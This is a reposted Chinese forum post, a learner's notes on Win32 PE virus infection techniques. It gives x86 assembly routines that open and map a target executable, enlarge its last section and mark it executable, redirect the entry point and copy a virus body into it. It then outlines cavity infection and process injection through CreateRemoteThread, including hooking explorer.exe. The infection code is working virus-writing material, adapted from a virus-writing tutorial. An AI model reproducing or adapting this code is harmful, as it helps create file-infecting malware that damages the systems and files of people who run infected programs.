PE病毒学习笔记——初识感染技术 （转自看雪学院）

转载

hack8 于 2009-01-18 12:20:00 发布 1955 收藏
分类专栏： 木马 文章标签： api dos windows 多线程 工作 编译器


木马 专栏收录该内容
23 篇文章 0 订阅
订阅专栏

【分享】PE病毒学习笔记——初识感染技术	<script type="text/javascript"></script>

标 题: 【分享】PE病毒学习笔记——初识感染技术
作 者: kmyc
时 间: 2007-10-04,17:07
链 接: http://bbs.pediy.com/showthread.php?t=52777

本来打算10.1长假天天去自习的，结果学校居然在假期把所有的自习室都关门了事，没办法，只好待寝室——面对电脑——就打算再来一篇学习笔记。我了解的知识非常有限，代码也很初级，欢迎大家批评和讨论。

说起“感染技术”，一般印象里都是——感染 文件，准确说，是“感染可执行 文件”。事实上，除了 文件感染，也可以是“进程感染”，也就是“进程注入”。但是相比而言， 文件感染古老多了——早在单进程环境的DOS下就开始发展，而且相比“进程注入”，在我看来要复杂些。

现在我们只考虑Win32环境下的 文件感染。毫无疑问，读写 文件的过程需要大量使用到API，如果看过我之前的关于“搜索API”的学习笔记的话，那么这个工作在这里不过是一个循环而已。

先考虑最简单的情况，感染没有在运行的、普通的执行 文件。

首先是要搜索 文件，Win32API有三个函数：FindFirstFile(),FindNextFile(),FindClose()，事实上大家都可以想象到，应该是FindFirstFileA(),FindNextFileA()和FindFirstFileW(),FindNextFileW()，Windows的一贯风格。这几个函数由kernel32.dll导出，具体使用可以通过MSDN解决了，不过这里要强调一个结构：

WIN32_FIND_DATA，这里面会保存有搜索到的 文件的相关信息，特别是
“ 文件大小”
（DWORD nFileSizeHigh; DWORD nFileSizeLow;如果这个 文件没有大于4GB的话，就只用考虑nFileSizeLow）
和“ 文件名”
（TCHAR cFileName[MAX_PATH]）
这两个变量，对我们来说比较重要。

下面，搜索到具体的 文件后，看看我们需要些哪些API支持我们的工作：

```
;-------------------------------------------
; input:
; ESI = Address of Filename
; _CreateFileA = VA of CreateFileA
;
; output:
; EAX = O pened Filehandle or -1
;
; used reg
; EAX,ESI
;-------------------------------------------
O penFile proc
    xor eax,eax
    push eax
    push eax
    push 00000003h
    push eax
    inc eax
    push eax
    push 80000000h or 40000000h
    push esi
    call _CreateFileA
    ret
```

O penFile endp

首当其冲的当然是以“可读”和“可写”方式打开 文件，kernel32里的CreateFileA完成这项工作。

```
;-------------------------------------------------
; input:
; ECX = Mapping Size
; _CreateFileMappingA = VA of CreateFileMappingA
; FileHandle = O pened Filehandle
;
; output:
; EAX = Map ped Handle or -1
;
; used reg
; EAX,ECX
;-------------------------------------------------
CreateMap proc
    xor eax,eax
    push eax
    push ecx
    push eax
    push 00000004h
    push eax
    push dword ptr FileHandle
    call _CreateFileMappingA
    ret
CreateMap endp

;-------------------------------------------------
; input:
; ECX = Mapping Size
; _MapViewOfFile = VA of MapViewOfFile
; MapHandle = Map ped Maphandle
;
; output:
; EAX = Map Address or 0
;
; used reg
; EAX,ECX
;-------------------------------------------------
MapFile proc
    xor eax,eax
    push ecx
    push eax
    push eax
    push 00000002h
    push dword ptr MapHandle
    call _MapViewOfFile
    ret
MapFile endp
```

下来就是把 文件映射到内存里，当然，用ReadFile和WriteFile也是可以的，可是我喜欢读写“内存”的感觉（感觉是绝对一样的），而不是不停的push push地去调用API，哪怕我只要读或写一个Byte。CreateFileMappingA和MapViewOfFile，这两个函数都在kernel32里

还有一些API比如SetFileAttributesA，UnmapViewOfFile和CloseHandle，因为参数少且简单，所以就不单独定义成proc了。我也假定在之前的工作里，已经找到了这些API的VA，并且存在了API名字前加一下划线的变量里，比如CloseHandle的地址就存在_CloseHandle里。最后再说一遍，这里用到的所有的所有函数都来自于kernel32里。

但是有一个特殊些：

```
;-------------------------------------------------
; input:
; EAX = Value need align
; ECX = FileAlign
;
; output:
; EAX = Value aligned
;
; used reg
; EAX,ECX,EDX
;-------------------------------------------------
Align proc
    push edx
```

```
    xor edx,edx
    push eax
    div ecx
    pop eax
    sub ecx,edx
    add eax,ecx
    pop edx
    ret
Align endp
```

这是一个非常重要的proc，用来算“对齐”的。一定要注意PE结构里的对齐，特别是在做Size的加减和变化时，一定要注意对齐。很多人一开始写修改PE 文件结构的程序时，导致诸如“不是有效的Win32程序”错误的原因大多是因为没有对齐好。

我还假定所有用到的变量已经定义好，特别注意WFD_szFileName和WFD_nFileSizeLow，就是我前面提到的，你打算感染的 文件的WIN32_FIND_DATA结构里的成员。

```
Infection proc
    lea esi,WFD_szFileName

    push 80h
    push esi
    call _SetFileAttributesA

    call O penFile
    inc eax
    jz _Infection_CantO pen
    dec eax
    mov FileHandle,eax

    mov ecx,WFD_nFileSizeLow

_Infection_Mapping:
    push ecx
    call CreateMap
    or eax,eax
    jz _Infection_CloseFile
    mov MapHandle,eax

    pop ecx
    call MapFile
    or eax,eax
    jz _Infection_UnMapFile
    mov MapAddress,eax

    mov esi,[eax+3Ch]
    add esi,eax
    cmp IsMap ped,1
    jz _Infection_Go_on
    cmp dword ptr [esi],"EP"
    jnz _Infection_NoInfect
    mov ecx,[esi+3ch]

    push dword ptr MapAddress
    call _UnmapViewOfFile
    push dword ptr MapHandle
    call _CloseHandle

    mov eax,WFD_nFileSizeLow
    add eax,virus_size
    call Align

    xchg ecx,eax
    mov IsMap ped,1
    jmp _Infection_Mapping

_Infection_Go_on:
    mov edi,esi                     ;------------- EDI = ESI = Ptr to PE header
    movzx eax,word ptr [edi+06h]    ;------------- AX = Num of sections
    dec eax
    imul eax,eax,28h                ;------------- EAX = AX*28h
    add esi,78h                     ;------------- Ptr to dir table
    mov edx,[edi+74h]               ;------------- EDX = Num of dir entries
```

```
    shl edx,3                   ;------------ EDX = EDX*8
    add esi,edx                 ;------------ ESI = Ptr to first section table
    add esi,eax                 ;------------ ESI = Ptr to last section table

    mov eax,[edi+28h]           ;------------ EAX = RVA of Entry Point
    mov OldEP,eax
    mov eax,[edi+34h]           ;------------ EAX = ImageBase
    mov ImgBase,eax
    mov edx,[esi+10h]           ;------------ EDX = SizeOfRawData
    mov ebx,edx                 ;------------ EBX = EDX = SizeOfRawData
    add edx,[esi+14h]           ;------------ EDX = EDX+PointerToRawData
    push edx
    mov eax,ebx                 ;------------ EAX = EBX = SizeOfRawData
    mov ebp,[esi+0Ch]           ;------------ EBP = VirtualAddress
    add eax,ebp                 ;------------ EAX = SizeOfRawData + VirtualAddress
    mov [edi+28h],eax           ;------------ Set RVA of Entry Point to EAX--New EP
    mov NewEP,eax

    mov eax,ebx                 ;------------ EAX = SizeOfRawData
    add eax,virus_size          ;------------ EAX = SizeOfRawData + VirusSize
    mov ecx,[edi+3Ch]           ;------------ ECX = File Alignment
    call Align
    mov [esi+10h],eax           ;------------ New SizeOfRawData
    mov [esi+08h],eax           ;------------ New VirtualSize
    add eax,ebp                 ;------------ EAX = EAX + VirtualAddress
    mov [edi+50h],eax           ;------------ EAX = New SizeOfImage
    or dword ptr [esi+24h],0f0000020h

    lea esi,[virus_start]       ; ESI = Ptr to virus_start
    pop edx                     ; EDX = Start of virus will be copy---RAV
    xchg edi,edx                ; EDI = Start of virus will be copy---RAV , EDX = Ptr to PE header
    add edi,MapAddress          ; EDI = Start of virus will be copy---VA
    mov ecx,virus_size          ; ECX = virus_size
    rep movsb                   ; Do it
    jmp _Infection_UnMapFile

_Infection_UnMapFile:
    push dword ptr MapAddress
    call _UnmapViewOfFile

_Infection_CloseMap:
    push dword ptr MapHandle
    call _CloseHandle

_Infection_CloseFile:
    push dword ptr FileHandle
    call _CloseHandle

_Infection_CantO pen:
    push dword ptr WFD_dwFileAttributes
    lea eax,WFD_szFileName
    push eax
    call _SetFileAttributesA
    ret
Infection endp
```

上面这段代码主要来自于《Billy Belceb 病毒编写教程---Win32 篇》，但是我一条一条仔细阅读和理解并且对一些地方进行了修改和优化。在适当的地方有注释，如果感觉有问题请提出来，谢谢。

整个过程是简单而流畅的，把 文件Map到内存，读取相关信息，尤其重要的是“ 文件对齐量”，这是为什么要把 文件Map两次的原因——我们不知道应该为修改 文件开辟多大的Map。有人想当然的认为，既然已知 文件大小和病毒大小，那么Map大小就是“ 文件大小+病毒大小”，这在一般情况下是错误的，原因就是——对齐。当然，用ReadFile和WriteFile方式不用在乎Map大小的问题。

搜索到最后一个节，计算新的的节大小，修改相应PE结构变量，并且把程序入口改为最后一个节的末尾（这就是准备写入病毒体的地方）。程序原入口一定要保留，虽然这里暂时不需要，但是病毒执行完毕后会需要。修改节属性，“代码节、可读、可写、可执行”，一个也不能少。对齐，唯一要强调的还是对齐。一切就绪后，就开始copy病毒体了！

上面这个方法是增加最后一个节的空间来寄生病毒，很初级可是不一定稳定：不能保证最后一个节就一定是你想要的“代码节、可读、可写、可执行”，毕竟这里除了你的代码，还有原程序的信息。稍微强一些的办法是增加一个节到最后（自己的节就好控制多了），然后修改相关PE结构变量。这个方法不错，不过问题在于，不能保证SECTION TABLE里就一定有大于28h字节的空间给你来新建一个Image_Section_Table，一般这个空隙是因为对齐或者别的原因造成的。

顺便提及一点，如果这个执行 文件正在被使用，那么，可以通过“改名”+“新建”+“下次运行时删除”的办法替换原 文件。

这种“后缀式”感染方式很简单，不过请注意：简单就是优点。我们可以不用在感染上花费太大精力和——宝贵的代码空间！而且这种整块拷贝的方式也很利于病毒的加壳和变形，现代病毒在感染上已经不怎么别出心裁了，关键的技术恰恰在加密与变形上。

相对“后缀式”，在古老的教科书上还会看到另一种方式——“散落式”
“英文叫cavity，就是把病毒体切成小块分散插入到宿主的空隙中，病毒执行时再把他们组合起来。似乎人们从CIH才开始认识这种方式，事实上这种方式古已有之，一些DOS病毒就用这种方式，只是没有引起人们注意－－人们通常只推崇轰动的东西！
PE 文件由于结构关系，天然就有很多空隙，适合一个小病毒存在，而DOS可执行 文件则没有什么Section的概念，也没有什么天然空隙，似乎看起来不可能插入。其实不然，由于编译器的缘故， 文件里很可能有一些用于保存数据的连续的0，这些空间只在运行时才有用，和程序的初始化没关系。所以病毒可以统计这些连续的0，如果发现这样的空间足够大，就可以把病毒块放在里面，运行时把病毒块摘出，然后重新把那块内存清零就可以了——这种技术在DOS时代算是比较高级的技术，实现起来比较困难。……
这种感染方式还有衍生。比如不利用宿主已有的空隙，而是在宿主代码里硬生生地挖洞，把病毒代码插进去，病毒执行后再把洞填回去。这样的好处是可以把病毒分解成很小的碎片，这样就不容易被发现，缺点是实现有些复杂，效果未必比利用已有空隙好。”
——摘自CVC的Vancheer的《病毒感染技术分析》

我始终认为，现代病毒，已经不会在“感染技术”上别出心裁了，关键在于对病毒体的加壳与变形，更好的保护。现在病毒和蠕虫的界限已经不明显了，不过我仍然认为病毒相对于蠕虫的特点是：不能独立运行（没有导入表、不能成为独立进程、不依赖特定程序），必须有感染 文件的能力。虽然不能成为独立的进程，但是可以把自己的代码作为一个线程跑起来。

在古老的病毒观里（出自对多线程技术不熟悉的老一代程序员），病毒应该在加载寄主程序前做完所有的事（甚至——感染硬盘所有的执行 文件），这在现在简直不可想象。我们理所当然的可以把病毒代码作为一个线程来和寄主程序并发地跑起来——没有一点问题——不过是把这个代码的地址传给CreateThread函数。

在可以调用CreateRemoteThread函数的WinNT/2000/XP系统里，也就有另一种和“ 文件感染”不同的“进程感染”。其实原理和大家早已熟知的dll注入一样。我们通过tlhelp32.dll里的函数枚举进程（当让有别的更多方法），OpenProcess，VirtualAllocEx，WriteProcessMemory（写入病毒体），最后CreateRemoteThread就可以让我们写入的代码跑起来了。不错，不需要和头痛的PE 格式打交道，我们的代码就在一个正在运行的进程的空间里跑起来了，同样需要搜索API，需要干该干的事。比如，我们知道explorer.exe是图形化的Windows Shell，所有通过桌面或者快捷方式或者 文件夹打开的程序都是explorer.exe这个进程CreateProcess出来的，如果我们hook这个explorer.exe导入表里的API，我们就可以监视所有的进程创建行为。

如果没有别的行为，“进程感染”的成果会随着进程的退出而终结。那么，把自己的代码插入别的进程有什么意义吗？当然有！众人拾柴火焰高，Windows提供我们多进程多线程的环境和功能，我们不好好利用下不是太对不起所有Windows开发人员的一片苦心了么？

线程病毒的同步也是一个有趣的问题，哦，协议的设计，进线程间通信，同步与互斥……多么好的一次课程设计亚！

参考文献：
《Billy Belceb 病毒编写教程---Win32 篇》
CVC的Vancheer的《病毒感染技术分析》